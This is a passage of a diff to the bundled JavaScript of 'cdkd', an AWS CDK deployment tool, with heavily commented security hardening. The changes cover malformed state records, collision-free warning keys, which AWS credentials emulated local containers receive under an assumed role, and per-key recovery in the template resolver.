+ * forged remedy ahead of the real one, on a line that ends in a pasteable
21257
+ * command. It also supplies the quotes the old `shellQuote` wrapper added —
21258
+ * which is why the wrapper GOES rather than composing, per the same note.
21259
+ * 3. **TRUNCATION.** `[cut: N more characters withheld]` cannot be mistaken for
21260
+ * content, where the old `...` tail was indistinguishable from a legitimate
21261
+ * id ending `Prod...`.
21262
+ *
21263
+ * The cap is passed EXPLICITLY although it equals the default: a logical id is
21264
+ * valid up to `IDENT_MAX_CODE_POINTS`, and the point of not reusing
21265
+ * {@link safeIdentifier} here is that its 128 would truncate a legitimate long
21266
+ * id into one naming no record. Spelling the cap keeps that decision visible at
21267
+ * the site it was made for.
21268
+ *
21269
+ * Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
21270
+ * carrying one still renders bare inside this `', '`-joined list and reads as
21271
+ * two entries — the joined-list ambiguity recorded on go-to-k/cdkd#3179 for
21272
+ * every caller of the helper, not a property of this one.
21273
+ *
21274
+ * NAMED rather than listed in full: a record whose 500 resources were all
21275
+ * hand-edited must not push the remedy command off the reader's screen.
21276
+ *
21277
+ * REFUSES an empty list rather than rendering `holds 0 resource record(s) — —`.
21278
+ * Both callers guard, but they are exported and a later one need not (review of
21279
+ * go-to-k/cdkd#3191).
21280
+ */
21281
+ function namedPropertyBagsClause(stackName, region, logicalIds) {
21282
+ if (logicalIds.length === 0) throw new Error("malformed-resources-bag: a properties message needs at least one logical id to name");
21283
+ const named = logicalIds.slice(0, NAMED_UNREADABLE_PROPERTY_BAGS).map((id) => displayIdent(id, { maxCodePoints: 255 })).join(", ");
21284
+ const rest = logicalIds.length - NAMED_UNREADABLE_PROPERTY_BAGS;
21285
+ const more = rest > 0 ? ` and ${rest} more` : "";
21286
+ return `${stackClause(stackName, region)} holds ${logicalIds.length} resource record(s) whose 'properties' map cannot be read — ${named}${more} — because it is absent, null, or not an object. The record is malformed or truncated. Comparing a template against one reports every property the template declares as ADDED (a string bag also invents one change per character), and a create-only property among them is a REPLACEMENT of the live resource.`;
21287
+ }
21288
+ /**
21289
+ * The text {@link refuseMalformedResourceProperties} raises.
21290
+ *
21291
+ * `stackName` / `region` are the CALLER's resolved identity or nothing at all;
21292
+ * {@link stackClause} is the authority for why this one may be handed neither.
21293
+ *
21294
+ * **It must be true under `cdkd deploy --dry-run` as well**, and the first
21295
+ * revision was not. Provisioning is gated AFTER the diff
21296
+ * (`deploy-engine.ts`'s `if (this.options.dryRun)` return sits below
21297
+ * `calculateDiff`), so a dry run reaches this refusal and aborts — while the
21298
+ * text asserted "it would DELETE and re-create resources", which a dry run
21299
+ * would not do. A refusal that misstates what was about to happen is the same
21300
+ * defect class as one naming the wrong record (review of go-to-k/cdkd#3191).
21301
+ *
21302
+ * **A dry run REFUSES rather than repairing, and that is the decision.** The
21303
+ * repair-and-warn half of this container belongs to `cdkd diff`, and the
21304
+ * argument recorded for it in `.claude/rules/state-malformed-properties.md` —
21305
+ * "a preview of the rest of the stack beats an abort" — does not transfer,
21306
+ * because it is already SATISFIED by that sibling: a user who wants the
21307
+ * repaired preview runs `cdkd diff` and gets it, with the warning. `cdkd diff`
21308
+ * refusing would leave no way to preview at all; `cdkd deploy --dry-run`
21309
+ * refusing costs nothing that is not available one command over. Against that,
21310
+ * repairing here would need a mode threaded into `calculateDiff`, the single
21311
+ * chokepoint whose whole value is that both callers share it — and it would
21312
+ * create the worst arm of all: a plausible-looking `--dry-run` plan followed
21313
+ * by a refusal the moment the flag comes off. So the message points at
21314
+ * `cdkd diff` instead of weakening the guard.
21315
+ */
21316
+ function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds) {
21317
+ return `${namedPropertyBagsClause(stackName, region, logicalIds)} 'cdkd deploy' can WRITE state and AWS resources, so it refuses rather than continuing — under '--dry-run' too, because the plan a dry run would print is the wrong one: a DELETE and re-create of resources the template did not change, and reading the bag as empty produces that same verdict rather than avoiding it. Nothing was provisioned and no state was written FOR THIS STACK. Repair or remove the record first; 'cdkd diff' previews the rest of the stack with those maps read as EMPTY and warns that it did. Inspect the record with: ${inspectCommand(stackName, region)}`;
21318
+ }
21319
+ /**
21320
+ * The warning a caller of {@link repairMalformedResourcePropertiesForReadOnly}
21321
+ * emits.
21322
+ */
21323
+ function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
21324
+ return `${namedPropertyBagsClause(stackName, region, logicalIds)} Continuing with those maps EMPTY: what these records are stored as holding is NOT what this preview compares against. Where the template still declares the resource, every property it declares previews as an addition and a create-only one as a replacement; where it no longer declares it, the DELETE row shows an empty previous side instead of the stored one. Do NOT run 'cdkd deploy' against this record — it REFUSES on the same defect rather than acting on this preview. See the stored values with: ${inspectCommand(stackName, region)}`;
21325
+ }
21326
+ /**
21327
+ * The key a warned-once-per-record `Set` uses to identify a producer RECORD.
21328
+ *
21329
+ * ONE spelling, shared by `scrub.ts`'s cross-stack pre-pass and
21330
+ * `local-state-loader.ts`'s `Fn::GetStackOutput` reader, because two spellings
21331
+ * of one rule is how nine sites stay right and the tenth drifts — the same
21332
+ * reason every predicate in this module is here rather than at its call sites.
21333
+ *
21334
+ * ENCODED, not separated, and issue
21335
+ * [#3308](https://github.com/go-to-k/cdkd/issues/3308) is the measurement
21336
+ * behind that. Both sites previously joined the two halves with a NUL, which
21337
+ * NARROWS the collision without closing it: a stack name is read out of an S3
21338
+ * key and is exactly as attacker-controlled as the `outputs` bag, so it can
21339
+ * carry a NUL too — `tests/unit/cli/commands/scrub-malformed-and-nameless.test.ts`
21340
+ * already plants one. Measured: with a NUL separator, stack `Evil<NUL>us-east-1`
21341
+ * in `ap-northeast-1` and stack `Evil` in region `us-east-1<NUL>ap-northeast-1`
21342
+ * produce the SAME key, so whichever is warned about second is silently not
21343
+ * warned about at all.
21344
+ *
21345
+ * `JSON.stringify` of a two-element array is injective over string pairs: the
21346
+ * quoting escapes anything that could imitate the separator, so no planted name
21347
+ * can produce another pair's key.
21348
+ *
21349
+ * The consequence of a collision is one dropped warning LINE, never a wrong
21350
+ * resolution — both records are still read as empty and both reads still miss.
21351
+ * That is why this is worth one shared helper rather than a larger mechanism.
21352
+ */
21353
+ function producerRecordKey(stackName, region) {
21354
+ return JSON.stringify([stackName, region]);
21355
+ }
21356
+
20381
21357
  //#endregion
20382
21358
  //#region src/analyzer/diff-calculator.ts
20383
21359
  /**
@@ -20465,6 +21441,7 @@ var DiffCalculator = class DiffCalculator {
20465
21441
  */
20466
21442
  async calculateDiff(currentState, desiredTemplate, resolveFn, canonicalizeProperties, allowedUnsupportedProperties) {
20467
21443
  const changes = /* @__PURE__ */ new Map();
21444
+ refuseMalformedResourceProperties(currentState, void 0, void 0);
20468
21445
  const currentResources = currentState.resources;
20469
21446
  const desiredResources = desiredTemplate.Resources;
20470
21447
  this.logger.debug("Calculating diff...");
@@ -20984,6 +21961,133 @@ var DiffCalculator = class DiffCalculator {
20984
21961
  }
20985
21962
  };
20986
21963
 
21964
+ //#endregion
21965
+ //#region src/utils/caller-credentials.ts
21966
+ /**
21967
+ * The CALLER's own AWS identity, for the one channel that reaches a workload
21968
+ * cdkd merely emulates (issue
21969
+ * [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
21970
+ *
21971
+ * WHY THIS EXISTS
21972
+ *
21973
+ * `applyRoleArnIfSet` (`src/utils/role-arn.ts`) assumes `--role-arn` /
21974
+ * `CDKD_ROLE_ARN` and then OVERWRITES `process.env.AWS_ACCESS_KEY_ID` /
21975
+ * `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` with the role's, so that clients
21976
+ * built outside `src/**` (cdk-local's own, the CDK app subprocess) run as the
21977
+ * role too. Every `cdkd local *` command then COPIES that triple out of
21978
+ * `process.env` into the emulated Lambda / AgentCore container's environment —
21979
+ * so `cdkd local invoke --role-arn arn:aws:iam::222:role/cdkd-deploy MyFn` ran
21980
+ * the user's local handler AS THE DEPLOY ROLE, normally the more privileged of
21981
+ * the two identities and never the one the flag asked for.
21982
+ *
21983
+ * The SDK-client half of that class was closed by threading
21984
+ * `awsClientDefaults({ ignoreAssumedRole: true })` through every client on the
21985
+ * surface. That opt-out cannot reach this channel: the value here is not a
21986
+ * client config, it is three environment variables whose ORIGINAL contents the
21987
+ * assume already destroyed. So `applyRoleArnIfSet` snapshots them first
21988
+ * (`setPreAssumeEnvCredentials`) and this module is what turns the snapshot back
21989
+ * into an answer.
21990
+ *
21991
+ * THE ANSWER IS "WHAT WOULD THE CONTAINER HAVE RECEIVED WITHOUT `--role-arn`"
21992
+ *
21993
+ * Not "who is the caller" in the SDK's sense — that question has a different
21994
+ * answer when a profile is selected, and `resolveProfileCredentials` +
21995
+ * `applyProfileCredentialsOverlay` already answer it for the `--profile` case
21996
+ * and still win, because they are applied AFTER this restore. What this module
21997
+ * restores is exactly the status quo ante: the bytes `forwardAwsEnv` would have
21998
+ * copied had no role been assumed.
21999
+ *
22000
+ * WHEN THERE IS NOTHING TO RESTORE, NOTHING IS FORWARDED
22001
+ *
22002
+ * On an SSO / IMDS / container-role chain the triple was ABSENT before the
22003
+ * assume. Fabricating a replacement is not available and inheriting the role is
22004
+ * the defect, so the three keys are STRIPPED from the forwarded environment and
22005
+ * the container falls back to its own credential resolution — which, with no
22006
+ * mounted credentials file, usually means the handler's first AWS call fails
22007
+ * with `Could not load credentials from any providers`. That is the documented
22008
+ * outcome (`docs/cli-reference.md`), and it is the correct one: a loud missing
22009
+ * credential beats a silent privileged one.
22010
+ */
22011
+ /**
22012
+ * The three environment variables that carry a static AWS identity into a child
22013
+ * process or container. Spelled once here so a forwarding site and the fence
22014
+ * that watches it cannot disagree about the population.
22015
+ */
22016
+ const AWS_CREDENTIAL_ENV_KEYS = [
22017
+ "AWS_ACCESS_KEY_ID",
22018
+ "AWS_SECRET_ACCESS_KEY",
22019
+ "AWS_SESSION_TOKEN"
22020
+ ];
22021
+ /**
22022
+ * Read a static credential triple out of an environment bag, or `undefined`
22023
+ * when it does not carry a complete one.
22024
+ *
22025
+ * BOTH halves of the key pair are required: an `AWS_ACCESS_KEY_ID` with no
22026
+ * secret is not an identity, and treating it as one would make the caller
22027
+ * "have credentials" while handing the container an unusable pair.
22028
+ */
22029
+ function readEnvCredentials(source = process.env) {
22030
+ const accessKeyId = source["AWS_ACCESS_KEY_ID"];
22031
+ const secretAccessKey = source["AWS_SECRET_ACCESS_KEY"];
22032
+ if (!accessKeyId || !secretAccessKey) return void 0;
22033
+ const sessionToken = source["AWS_SESSION_TOKEN"];
22034
+ return {
22035
+ accessKeyId,
22036
+ secretAccessKey,
22037
+ ...sessionToken ? { sessionToken } : {}
22038
+ };
22039
+ }
22040
+ /**
22041
+ * The static credentials the caller's OWN environment carried — the process
22042
+ * environment when no role was assumed, the pre-assume snapshot when one was.
22043
+ *
22044
+ * For a site that needs the VALUE rather than an env bag to correct (the
22045
+ * `--sigv4` signing path in `local-invoke-agentcore.ts`). `undefined` means the
22046
+ * caller has no static credentials to offer; the site decides what that means
22047
+ * for it (that one refuses with an actionable error).
22048
+ *
22049
+ * **Do not mutate the returned bag.** On the assumed-role branch it is
22050
+ * `aws-client-defaults.ts`'s OWN copy of the pre-assume snapshot — the object
22051
+ * shape 2 of the `ignoreAssumedRole` opt-out resolves every opted-out client's
22052
+ * identity from — so a caller that edits it in place changes who those clients
22053
+ * run as. The note sits here as well as on `getPreAssumeEnvCredentials` because
22054
+ * this module's header directs callers to THIS function; reaching the snapshot
22055
+ * through the getter directly is what it tells them not to do.
22056
+ */
22057
+ function callerEnvCredentials() {
22058
+ if (getAssumedRoleCredentials() === void 0) return readEnvCredentials();
22059
+ return getPreAssumeEnvCredentials();
22060
+ }
22061
+ /**
22062
+ * Correct an environment bag that was populated by copying `process.env`, so it
22063
+ * carries the CALLER's identity rather than a `--role-arn` assumed role's.
22064
+ *
22065
+ * A NO-OP when no role was assumed — the copied triple is already the caller's,
22066
+ * and this must not disturb the overwhelmingly common path.
22067
+ *
22068
+ * Otherwise the role's triple is replaced by the pre-assume snapshot, or — when
22069
+ * there was none — REMOVED outright (see this module's header). The
22070
+ * session-token handling mirrors `applyProfileCredentialsOverlay`: a restored
22071
+ * long-lived key pair strips any inherited token, because a long-lived
22072
+ * `AKIA...` beside a foreign session token makes the SDK inside the container
22073
+ * fail rather than fall back.
22074
+ *
22075
+ * Call it AFTER copying `process.env` and BEFORE any `--profile` overlay: the
22076
+ * profile identity is more specific and is also the caller's, so it wins.
22077
+ */
22078
+ function applyCallerIdentityCredentials(env) {
22079
+ if (getAssumedRoleCredentials() === void 0) return;
22080
+ const caller = getPreAssumeEnvCredentials();
22081
+ if (!caller) {
22082
+ for (const key of AWS_CREDENTIAL_ENV_KEYS) delete env[key];
22083
+ return;
22084
+ }
22085
+ env["AWS_ACCESS_KEY_ID"] = caller.accessKeyId;
22086
+ env["AWS_SECRET_ACCESS_KEY"] = caller.secretAccessKey;
22087
+ if (caller.sessionToken) env["AWS_SESSION_TOKEN"] = caller.sessionToken;
22088
+ else delete env["AWS_SESSION_TOKEN"];
22089
+ }
22090
+
20987
22091
  //#endregion
20988
22092
  //#region src/utils/role-arn.ts
20989
22093
  /**
@@ -21050,8 +22154,8 @@ function parseIamRoleArn(roleArn) {
21050
22154
  * reading the producer account's cdkd state bucket.
21051
22155
  *
21052
22156
  * **Why a dedicated helper (instead of reusing `applyRoleArnIfSet`).** The
21053
- * `--role-arn` flag writes assumed credentials into the process's `AWS_*`
21054
- * env vars so EVERY subsequent SDK client picks them up. That is the right
22157
+ * `--role-arn` flag publishes its assumed credentials process-wide, so
22158
+ * EVERY subsequent SDK client picks them up. That is the right
21055
22159
  * behavior for the CLI-wide flag, but the wrong behavior for cross-account
21056
22160
  * `Fn::GetStackOutput`: the producer's role should authorize ONLY the S3
21057
22161
  * state read, not the consumer's provisioning calls (which still run under
@@ -21129,16 +22233,57 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
21129
22233
  * into `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
21130
22234
  * for the rest of the process.
21131
22235
  *
21132
- * **Why env vars, not threaded credentials.** cdkd constructs ~13
21133
- * independent `AwsClients` instances across deploy / destroy / state /
21134
- * import / etc. paths (each with its own region, sometimes — e.g. the
21135
- * state-bucket client lives in a different region from the provisioning
21136
- * clients). Threading a `credentials` object through every site is high
21137
- * churn for an opt-in flag. AWS SDK v3 reads the standard `AWS_*` env
21138
- * vars at the top of its default credentials chain, so writing into them
21139
- * once at the command's entry makes every later `new XxxClient()` pick
21140
- * up the assumed-role credentials automatically without touching the
21141
- * client construction sites.
22236
+ * **Why not threaded credentials.** cdkd constructs ~13 independent
22237
+ * `AwsClients` instances across deploy / destroy / state / import / etc.
22238
+ * paths (each with its own region, sometimes — e.g. the state-bucket
22239
+ * client lives in a different region from the provisioning clients).
22240
+ * Threading a `credentials` object through every site is high churn for
22241
+ * an opt-in flag, so the assumed credentials are published ONCE, at the
22242
+ * command's entry, through two channels that between them reach every
22243
+ * consumer:
22244
+ *
22245
+ * 1. `setAssumedRoleCredentials` (`src/utils/aws-client-defaults.ts`) —
22246
+ * every SDK client under `src/**` is required to spread
22247
+ * `awsClientDefaults(...)` FIRST, so all of them receive the role as an
22248
+ * EXPLICIT `credentials` value, which outranks a `profile` on the same
22249
+ * config. That helper's header carries the full reasoning.
22250
+ * 2. The `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
22251
+ * env vars — for the consumers channel 1 cannot reach: cdk-local's own
22252
+ * SDK clients and the CDK app subprocess, which inherit this process's
22253
+ * environment.
22254
+ *
22255
+ * **Why channel 1 exists, and why `AWS_PROFILE` is nonetheless LEFT ALONE.**
22256
+ * Channel 2 used to be the whole mechanism, and it is silently inert
22257
+ * whenever a profile is selected: `@aws-sdk/credential-provider-node`
22258
+ * skips the env-var provider once `AWS_PROFILE` is set, so
22259
+ * `--profile ci --role-arn <r>` assumed the role, reported it assumed,
22260
+ * and then ran every call as `ci` — potentially in a different account
22261
+ * (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)). Deleting
22262
+ * `AWS_PROFILE` would not have fixed that on its own (cdkd also passes
22263
+ * `profile` as an explicit client-config key, which outranks the
22264
+ * environment), and it costs something real: `AWS_PROFILE` is the only
22265
+ * region source `Synthesizer.resolveSdkDefaultRegion` has when the user
22266
+ * exported a profile rather than passing `--profile`, so clearing it would
22267
+ * silently drop the CDK app's `CDK_DEFAULT_REGION` and synthesize an
22268
+ * env-agnostic stack for a different region than the profile named.
22269
+ *
22270
+ * **The one consumer channel 2 must NOT reach.** `cdkd local *` copies the
22271
+ * same three environment variables into the emulated Lambda / AgentCore
22272
+ * container, so the role reached the USER'S OWN CODE — which is what
22273
+ * `--assume-role` is for, and never what `--role-arn` asked for. Channel 1's
22274
+ * `ignoreAssumedRole` opt-out cannot express that here, because the value is
22275
+ * not a client config but three variables whose original contents the
22276
+ * overwrite below destroys. So the caller's own triple is SNAPSHOTTED first
22277
+ * (`setPreAssumeEnvCredentials`), and the local surface's forwarding sites
22278
+ * restore it — or, when the caller had none, strip the role's.
22279
+ * `src/utils/caller-credentials.ts` owns that decision and its reasoning.
22280
+ *
22281
+ * So the split is by ROLE, not by channel: `--role-arn` decides the
22282
+ * IDENTITY (channel 1, every client under `src/**`), and the profile keeps
22283
+ * the two jobs an assumed role cannot do — answering the `AssumeRole`
22284
+ * below, and supplying shared-config settings such as the region. The
22285
+ * bound that leaves: with both in play, a client built OUTSIDE `src/**`
22286
+ * still resolves the profile, because channel 2 stays inert for it.
21142
22287
  *
21143
22288
  * **What the assumed role must carry.** Unlike `cdk deploy`, cdkd does
21144
22289
  * NOT route through CloudFormation. There is no cfn-exec-role to
@@ -21152,18 +22297,31 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
21152
22297
  * `AdministratorAccess`. CDK CLI's `cdk-hnb659fds-deploy-role-*` is NOT
21153
22298
  * sufficient — that role only carries CFn + asset-publish permissions.
21154
22299
  *
22300
+ * **Once per process, enforced at both ends.** Every command handler calls this
22301
+ * exactly once, at its entry, and a second call cannot quietly work: the
22302
+ * `AssumeRole` hop below opts out of the published role (so it is answered by
22303
+ * the identity the user started with, never by role A assuming role B — a chain
22304
+ * AWS caps at one hour and refuses unless B's trust policy names A), and
22305
+ * `setAssumedRoleCredentials` then REFUSES the second publish outright. Both
22306
+ * are needed: the opt-out alone would let two identities coexist, and the
22307
+ * refusal alone would leave the hop chaining.
22308
+ *
21155
22309
  * Default session duration is 1 hour. For longer-running deploys, the
21156
22310
  * caller should re-issue the cdkd command (the in-flight credentials
21157
22311
  * stay valid until expiry, but a re-run is the simplest recovery for
21158
- * the rare case where a deploy outlives them).
22312
+ * the rare case where a deploy outlives them). Nothing refreshes them —
22313
+ * `AssumedRoleCredentials.expiration` is carried for the log line, not acted
22314
+ * on; that field's doc in `aws-client-defaults.ts` records the bound.
21159
22315
  */
21160
22316
  async function applyRoleArnIfSet(opts) {
21161
22317
  const roleArn = opts.roleArn || process.env["CDKD_ROLE_ARN"];
21162
22318
  if (!roleArn) return;
22319
+ if (getAssumedRoleCredentials() !== void 0) throw new Error(SECOND_ROLE_PUBLISH_REFUSAL);
21163
22320
  const logger = getLogger().child("role-arn");
21164
- logger.debug(`Assuming role ${roleArn}...`);
22321
+ const displayRoleArn = displaySafe(roleArn, { asciiOnly: true });
22322
+ logger.debug(`Assuming role ${displayRoleArn}...`);
21165
22323
  const sts = new STSClient({
21166
- ...awsClientDefaults(),
22324
+ ...awsClientDefaults({ ignoreAssumedRole: true }),
21167
22325
  ...opts.region && { region: opts.region }
21168
22326
  });
21169
22327
  try {
@@ -21172,13 +22330,22 @@ async function applyRoleArnIfSet(opts) {
21172
22330
  RoleSessionName: `cdkd-${Date.now()}`,
21173
22331
  DurationSeconds: 3600
21174
22332
  }));
21175
- if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${roleArn}`);
22333
+ if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${displayRoleArn}`);
21176
22334
  const { AccessKeyId, SecretAccessKey, SessionToken, Expiration } = response.Credentials;
21177
- if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${roleArn}`);
22335
+ if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${displayRoleArn}`);
22336
+ setPreAssumeEnvCredentials(readEnvCredentials());
21178
22337
  process.env["AWS_ACCESS_KEY_ID"] = AccessKeyId;
21179
22338
  process.env["AWS_SECRET_ACCESS_KEY"] = SecretAccessKey;
21180
22339
  process.env["AWS_SESSION_TOKEN"] = SessionToken;
21181
- logger.info(`Assumed role ${roleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
22340
+ setAssumedRoleCredentials({
22341
+ accessKeyId: AccessKeyId,
22342
+ secretAccessKey: SecretAccessKey,
22343
+ sessionToken: SessionToken,
22344
+ ...Expiration && { expiration: Expiration }
22345
+ });
22346
+ logger.info(`Assumed role ${displayRoleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
22347
+ const selectedProfile = process.env["AWS_PROFILE"];
22348
+ if (selectedProfile !== void 0 && selectedProfile !== "") logger.warn("AWS_PROFILE is set and a role has been assumed. The AWS calls cdkd makes to deploy and read state run as the role. The profile still decides the region, it is what your CDK app resolves during synthesis, and — when you passed `--profile` rather than exporting it — it is the identity a `cdkd local` emulated function or task is given. See https://github.com/go-to-k/cdkd/blob/main/docs/cli-reference.md");
21182
22349
  } finally {
21183
22350
  sts.destroy();
21184
22351
  }
@@ -23764,6 +24931,82 @@ function nestedStackChildRegionFromLocalArn(physicalId) {
23764
24931
  if (typeof physicalId !== "string") return void 0;
23765
24932
  return NESTED_STACK_LOCAL_ARN.exec(physicalId)?.[1];
23766
24933
  }
24934
+ /**
24935
+ * The prefix every dynamic-reference diagnostic this resolver spells carries.
24936
+ *
24937
+ * Exported because `cdkd scrub` applies the SAME partition on its side and must
24938
+ * not keep a second spelling of it (issue #1936's rule, one layer up): a bare
24939
+ * marker tail is reachable from text this resolver did not write — `Parameter X
24940
+ * is required but no value was provided` comes out of `resolveParameters` — so
24941
+ * the prefix is what makes the match an assertion about OWNERSHIP.
24942
+ */
24943
+ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
24944
+ /**
24945
+ * Does `source` carry a `{{resolve:...}}` reference that could actually be
24946
+ * FETCHED — one not still awaiting an `Fn::Sub` placeholder?
24947
+ *
24948
+ * Moved here from `cdkd scrub` (issue go-to-k/cdkd#3181), which still imports
24949
+ * it, because the resolver needs the same question answered per abandoned UNIT
24950
+ * and issue #1936 forbids a second spelling of the token pattern.
24951
+ *
24952
+ * The distinction it draws is between "nobody could have resolved this" and
24953
+ * "this one was resolvable and was not resolved" — the line between merely
24954
+ * REPORTING an abandonment and letting it gate an exit code.
24955
+ */
24956
+ function carriesFetchableDynamicReference(source) {
24957
+ if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
24958
+ if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
24959
+ if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
24960
+ return false;
24961
+ }
24962
+ /**
24963
+ * The NAMELESS spellings, which REFUSE rather than fail to fetch.
24964
+ *
24965
+ * `{{resolve:secretsmanager:}}` with an empty argument is a structurally broken
24966
+ * template, and no substitution produces one — an unresolved `Fn::Sub` keeps its
24967
+ * literal `${...}`. `cdkd scrub` has refused on these since
24968
+ * [#2692](https://github.com/go-to-k/cdkd/issues/2692), so the per-unit
24969
+ * recovery must not quietly downgrade one to a skipped token.
24970
+ */
24971
+ const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
24972
+ /**
24973
+ * `err` is a refusal this resolver took ON PURPOSE rather than a step that
24974
+ * failed, so the per-unit recovery must re-raise it and abort the walk.
24975
+ *
24976
+ * The partition is the one `cdkd scrub` already applies on its side
24977
+ * (go-to-k/cdkd#3178), drawn by OWNERSHIP rather than vocabulary: every refusal
24978
+ * here is one THIS repo decides and spells, which is what makes matching it
24979
+ * sound in a way that matching AWS's error text never is. Everything else — any
24980
+ * SDK rejection, any shape this cannot classify — is treated as a failed step
24981
+ * and RECORDED. That asymmetry is deliberate: the residual is a unit reported
24982
+ * as unresolved, never a refusal silently skipped.
24983
+ *
24984
+ * The two halves of the message test open the partition in DIFFERENT
24985
+ * directions, and their EVIDENCE differs — stated separately rather than
24986
+ * asserted together, because only one of them is demonstrated.
24987
+ *
24988
+ * {@link DYNAMIC_REFERENCE_PREFIX} is REACHABLE and tested: a secret id is
24989
+ * template-assembled, so AWS's rejection echoes the name it was handed, and a
24990
+ * parameter named after a marker puts the bare tail inside a message this repo
24991
+ * did not write. Matching the tail alone reads that as a refusal and disarms
24992
+ * recovery for the leaf — restoring exactly the loss #3181 removes.
24993
+ *
24994
+ * The CAUSE walk is defence in depth, and NO reachable wrapping of one of these
24995
+ * throws was found from inside either walk's `try` (the in-repo precedent for
24996
+ * the shape is `role-arn.ts`). It is kept because the two failure directions
24997
+ * are not symmetric: an unrecognised refusal is recorded and walked past, which
24998
+ * is the one residual this partition promises cannot happen, while the cost of
24999
+ * the walk is a bounded chain read. Do not cite it as fenced — it is not.
25000
+ */
25001
+ function isNamelessDynamicReferenceError(err) {
25002
+ if (!(err instanceof Error)) return false;
25003
+ return errorCauseChain(err).some((link) => link.message.includes("Dynamic reference: ") && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((m) => link.message.includes(m)));
25004
+ }
25005
+ function isDeliberateResolutionRefusal(err) {
25006
+ if (!(err instanceof Error)) return false;
25007
+ if (errorCauseChain(err).some((link) => link instanceof IntrinsicResolutionRefusalError)) return true;
25008
+ return isNamelessDynamicReferenceError(err);
25009
+ }
23767
25010
  let cachedAccountIdentity = null;
23768
25011
  /**
23769
25012
  * Cache for availability zones per region
@@ -24995,7 +26238,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
24995
26238
  if (!targetRegion) return ambient;
24996
26239
  const target = canonicalizeRegion(targetRegion);
24997
26240
  const loggedTarget = targetLogText ?? (targetRegion === this.explicitRegion ? this.explicitRegionLogText : void 0) ?? target;
24998
- if (!isClientSafeRegion(target)) throw new Error(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`);
26241
+ if (!isClientSafeRegion(target)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`));
24999
26242
  if (typeof ambient.withRegion !== "function") return ambient;
25000
26243
  const cached = this.regionScopedClients.get(target);
25001
26244
  if (cached) return cached;
@@ -25191,8 +26434,54 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
25191
26434
  this.logger.warn(`A resolution failed while ${parts} still running, and cdkd stopped waiting because the wait after a failure (capped at ${capSeconds}s) was used up. A secret such a part resolves from now on is still recorded, but only what runs after it arrives can mask it: output already printed or saved is not revisited.`);
25192
26435
  }
25193
26436
  /**
25194
- * Recursively resolve a value
25195
- */
26437
+ * Resolve ONE key of a bag, recovering per key when the caller opted in.
26438
+ *
26439
+ * Shared by the two sequential key walks that had this defect — the generic
26440
+ * object walk in {@link resolveValue} and `resolveSub`'s variable map — so
26441
+ * the recovery and the REFUSAL partition cannot drift between them. Both were
26442
+ * bare `for … await` loops, so the first failing key abandoned every later
26443
+ * one (issue go-to-k/cdkd#3218; the variable map was found beside it and is
26444
+ * the same defect, not a second one).
26445
+ *
26446
+ * An abandoned key keeps its INPUT value, matching what the per-token
26447
+ * recovery does with an unfetched token. That is safe only because the bag
26448
+ * obliges its consumer to fail the operation — `ResolverContext`'s field doc
26449
+ * carries the obligation and why it is not optional.
26450
+ *
26451
+ * **The log-twin invariant (issue go-to-k/cdkd#3100) under the KEY ordering**,
26452
+ * which is a separate claim from the token one and was missing while the
26453
+ * token half was stated twice. `matches` / `twinTokens` are built inside
26454
+ * `resolveDynamicReferencesWithLogTwin`, once per STRING LEAF, so the
26455
+ * pairing is leaf-local: a key abandoned beside a leaf never enters that
26456
+ * function for it and cannot shift its indices. Skipping a key changes only
26457
+ * WHICH leaves are visited, never how any visited leaf pairs — and a leaf
26458
+ * that is skipped pairs nothing at all rather than pairing wrongly. Fenced
26459
+ * by the key case in
26460
+ * `tests/unit/deployment/intrinsic-resolver-recovered-sibling-log-masking.test.ts`.
26461
+ *
26462
+ * **Both call sites reach it only when a bag is present, and that gate lives
26463
+ * at the CALL SITE rather than in here on purpose.** `resolveValue` recurses
26464
+ * once per nesting level, so routing every level through a second async
26465
+ * frame roughly doubles the resolver's frame cost for a deeply nested
26466
+ * property and lowers the depth at which it raises `RangeError`. An early
26467
+ * return inside this method would not help — the frame is created by the
26468
+ * call. Gating outside leaves every caller that passes no bag (deploy, diff,
26469
+ * drift, rollback) on exactly the pre-#3218 call shape, which is what makes
26470
+ * "a bagless caller is unchanged" true in the stack dimension too. Measured,
26471
+ * not reasoned: the heavier shape inverted the frame-weight ordering that
26472
+ * `tests/unit/cli/import-observed-baseline-refusal-matrix.test.ts` bisects
26473
+ * for, and that is how it was caught rather than shipped.
26474
+ */
26475
+ async resolveKeyUnit(key, val, context, abandoned) {
26476
+ try {
26477
+ return await this.resolveValue(val, context);
26478
+ } catch (err) {
26479
+ if (isDeliberateResolutionRefusal(err)) throw err;
26480
+ abandoned.push(this.abandonedUnit("key", key, err, context, val));
26481
+ return val;
26482
+ }
